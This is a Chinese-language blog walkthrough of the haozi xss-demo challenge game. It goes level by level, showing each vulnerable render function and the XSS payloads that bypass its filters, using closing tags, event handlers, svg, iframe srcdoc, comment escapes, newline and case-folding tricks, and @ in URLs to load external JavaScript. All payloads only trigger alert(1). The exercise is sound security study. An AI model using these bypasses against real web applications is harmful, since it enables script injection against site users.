前言
最新学习了下xss的更深入的东西,学习了一波浏览器解析机制和XSS向量编码的知识。
这里就些xss的练习题巩固知识
学习的话结合如下两篇文章看,从例子和基础原理层面都有:
http://bobao.360.cn/learning/detail/292.html
https://xz.aliyun.com/t/5950?accounttraceid=5564cfe1bcf849fd86c4ac5e40e772e7qcnv
最常见的html编码有:html实体编码。分为十进制和十六进制
如把尖括号编码[ < ] 十进制: < html十六进制:<(这里的分号是可以省掉的)
最常见的js编码有:八进制,十六进制,jsunicode编码。
如把尖括号编码[ < ] 八进制:74 十六进制:x3c unicode:u003c
Xss Game挑战
项目:https://github.com/haozi/xss-demo
自带alert(1)的js地址:https://xss.haozi.me/j.js
0x00
我这里选择闭合下div标签或者可以直接插入<script>alert(1)</script>
function render (input) { return '<div>' + input + '</div>' }
payload
</div><script>alert(1)</script><div>
0x01
如果看了上面的文章可以知道,不能直接在<textarea>标签中直接插入<script>xx</script>,是不会执行,无效的。这里必须闭合标签才可以
function render (input) { return '<textarea>' + input + '</textarea>' }
payload
</textarea><img src=x onerror=alert`1`><textarea>
0x02
input标签中可以使用事件
function render (input) { return '<input type="name" value="' + input + '">' }
payload
123" onmouseover="alert`1`
123" onmouseover="alert`1`
0x03
这里用了javascript中的replace方法,带/g就是全局替换,会将(和)替换为空
function render (input) { const stripBracketsRe = /[()]/g input = input.replace(stripBracketsRe, '') return input }
payload
<script>alert`1`</script>
这里使用的是Es6中的标签模板,运用如下
“标签模板”的一个重要应用,就是过滤 HTML 字符串,防止用户输入恶意内容。
let message = SaferHTML`<p>${sender} has sent you a message.</p>`; function SaferHTML(templateData) { let s = templateData[0]; for (let i = 1; i < arguments.length; i++) { let arg = String(arguments[i]); // Escape special characters in the substitution. s += arg.replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">"); // Don't escape special characters in the template. s += templateData[i]; } return s; }
上面代码中,sender
变量往往是用户提供的,经过SaferHTML
函数处理,里面的特殊字符都会被转义。
let sender = '<script>alert("abc")</script>'; // 恶意代码 let message = SaferHTML`<p>${sender} has sent you a message.</p>`; message // <p><script>alert("abc")</script> has sent you a message.</p>
标签模板的另一个应用,就是多语言转换(国际化处理)。
i18n`Welcome to ${siteName}, you are visitor number ${visitorNumber}!` // "欢迎访问xxx,您是第xxxx位访问者!"
学习自=>https://blog.csdn.net/TSeven37/article/details/82079286
0x04
这次过滤了(),也过滤了`,这样就用不了模板标签了的特性了
function render (input) { const stripBracketsRe = /[()`]/g input = input.replace(stripBracketsRe, '') return input }
这里百度找了一下,需要用到svg,为了更好了解,发现[CISCN2019 华东北赛区]Web2涉及到svg,于是通过题目又了解了一波=>https://www.cnblogs.com/keelongz/p/12628740.html
svg中是可以字符引用的,这里设计到了上面文章说的数据状态中的字符引用
payload
<svg><script>alert(1)</script></svg> <iframe srcdoc="<script>alert(1)</script>"> <a href="javascript:%61%6c%65%72%74%28%32%29">123</a>
补充:绕过()
<a onmouseover="javascript:window.onerror=alert;throw 1">aa
第二个payload运用的也是属性状态的字符引用。是H5中iframe的特点,因为h5中iframe的srcdoc属性,srcdoc里的代码会作为iframe中的内容显示出来,srcdoc中可以直接去写转译后的html片段。
第三个payload,照理说是可以的,属性值状态的字符引用,然后html解码->url解码=><a href="javascript:alert(2)">点击是可以触发xss的。但是没有算✔成功。
0x05
这里是需要逃逸注释,但是过滤了-->,替换成了笑脸。
function render (input) { input = input.replace(/-->/g, '😂') return '<!-- ' + input + ' -->' }
注释符结尾不一定是要-->,可以加上一个感叹号。比如<!--xxx--!>
payload
--!><script>alert(1)</script>
0x06
这里过滤了auto,还有on开头=结尾的,以及>,匹配大小写替换成_。
输入点在value后
function render (input) { input = input.replace(/auto|on.*=|>/ig, '_') return `<input value=1 ${input} type="text">` }
这道题参考了下WP,这里是通过换行来绕过的。
payload
onmouseover
=alert(1)
0x07
这里匹配了以<开头,>结尾,中间只要有/或者任意的字符,就会匹配成空。这里也就不能换行了
function render (input) { const stripTagsRe = /<\/?[^>]+>/gi input = input.replace(stripTagsRe, '') return `<article>${input}</article>` }
这里看了WP说是利用容错机制。并且这里可以用//单行注释掉后面的内容也是可以的
payload
<svg onload='alert(1)'
<img src=x onerror='alert(1)'
<iframe src=javascript:alert`1`//
<iframe src=javascript:alert`1`//也是可以的,但是没有显示过关。不过确实可以跳出来
0x08
这里把</style>替换成了坏人
function render (src) { src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */') return ` <style> ${src} </style> ` }
这里的解体思路就是用+空格或者换行,绕过</style>的替换
payload
</style > <script>alert(1)</script>
</style ><script>alert(1)</script>
0x09
这里用test方法检测input字符串是否匹配正则。必须是https://www.segmentfault.com或者http://www.segmentfault.com
function render (input) { let domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${input}"></script>` } return 'Invalid URL' }
这里我直接闭合<script>,然后注释
payload
http://www.segmentfault.com"></script><script>alert(1)//" 或者参考链接中的 https://www.segmentfault.com"></script><svg/onload=alert(1)>//
第二个payload利用了svg的容错性
0x0A
感觉上升了一个等级,这里将&,',",<,>,/都替换为HTML 实体
function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ''') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') } const domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${escapeHtml(input)}"></script>` } return 'Invalid URL' }
这里看了下参考链接中的WP,发现是通过@来绕过,这在ssrf中可以见到。URI语法->https://segmentfault.com/a/1190000013067553
payload
https://www.segmentfault.com@xss.haozi.me/j.js
Chrome里不算成功,firefox里是算成功。
0x0B
这里toUpperCase() 方法用于把字符串转换为大写
function render (input) { input = input.toUpperCase() return `<h1>${input}</h1>` }
这里也参照了了一下。发现如下TIPS:
html标签大小写无影响;
js严格区分大小写。
所以下一面这一串的小写是可以执行的,大写是不行的。只要将alert改为小写才行
<h1></H1><SCRIPT>ALERT(1)</SCRIPT><H1></h1>
这里有两种方法绕过,一种是通过属性值状态引用,字符实体的绕过,一种是引用外部js。
但是第一种方法,发现链接里是J.JS无法获取,所以不成功
<script src="https://xss.haozi.me/j.js"></script> <img src=x onerror=alert(1)>
0x0C
这里将script替换为空,然后转化为大写
function render (input) { input = input.replace(/script/ig, '') input = input.toUpperCase() return '<h1>' + input + '</h1>' }
paylaod
<img src=x onerror=alert(1)>
同上
0x0D
这里把</"'字符都替换成了空,并且用单行注释注释了alert(输入部分)的内容
function render (input) { input = input.replace(/[</"']/g, '') return ` <script> // alert('${input}') </script> ` }
这里参考链接中的方式,通过换行绕过//单行注释,通过html注释--> 单行注释后面内容
payload
alert(1)
-->
0x0E
过滤了以<开头的字符,并且设置了大写
function render (input) { input = input.replace(/<([a-zA-Z])/g, '<_$1') input = input.toUpperCase() return '<h1>' + input + '</h1>' }
这里基本无法写入标签,参考链接中通过字符ſ大写后会变成S,于是可以外链绕过,但是自己实现是不行的
payload
<ſcript src="https://xss.haozi.me/j.js"></script> <ſvg><ſcript>alert(1)</script></svg>
第二个payload是利用SVG可以执行实体字符的特性绕过
0x0F
这里过滤的很多,将很多字符都转化为了实体字符,突破口应该就在return返回的语句中
function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ''') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') } return `<img src onerror="console.error('${escapeHtml(input)}')">` }
因为这里是在onerror属性中,可以执行js语句,并且可以容纳字符实体。于是这里可以闭合,然后alert即可
payload
');alert(1);//
0x10
赋值给window.data
function render (input) { return ` <script> window.data = ${input} </script> ` }
直接输入alert(1)即可弹窗,或者用分号;隔开,或者换行
payload
alert(1)
'1';alert(1)
0x11
// from alf.nu function render (s) { function escapeJs (s) { return String(s) .replace(/\\/g, '\\\\') .replace(/'/g, '\\\'') .replace(/"/g, '\\"') .replace(/`/g, '\\`') .replace(/</g, '\\74') .replace(/>/g, '\\76') .replace(/\//g, '\\/') .replace(/\n/g, '\\n') .replace(/\r/g, '\\r') .replace(/\t/g, '\\t') .replace(/\f/g, '\\f') .replace(/\v/g, '\\v') // .replace(/\b/g, '\\b') .replace(/\0/g, '\\0') } s = escapeJs(s) return ` <script> var url = 'javascript:console.log("${s}")' var a = document.createElement('a') a.href = url document.body.appendChild(a) a.click() </script> ` }
闭合然后分开即可,单行注释后面内容
payload
");alert(1)//
0x12
跟上面差不多只不过变成了\\"
// from alf.nu function escape (s) { s = s.replace(/"/g, '\\"') return '<script>console.log("' + s + '");</script>' }
依旧闭合,然后多加一个\使之符合
payload
\");alert(1);//
参考链接:
http://www.lmxspace.com/2018/08/09/xss-%E6%8C%91%E6%88%98%E8%B5%9B/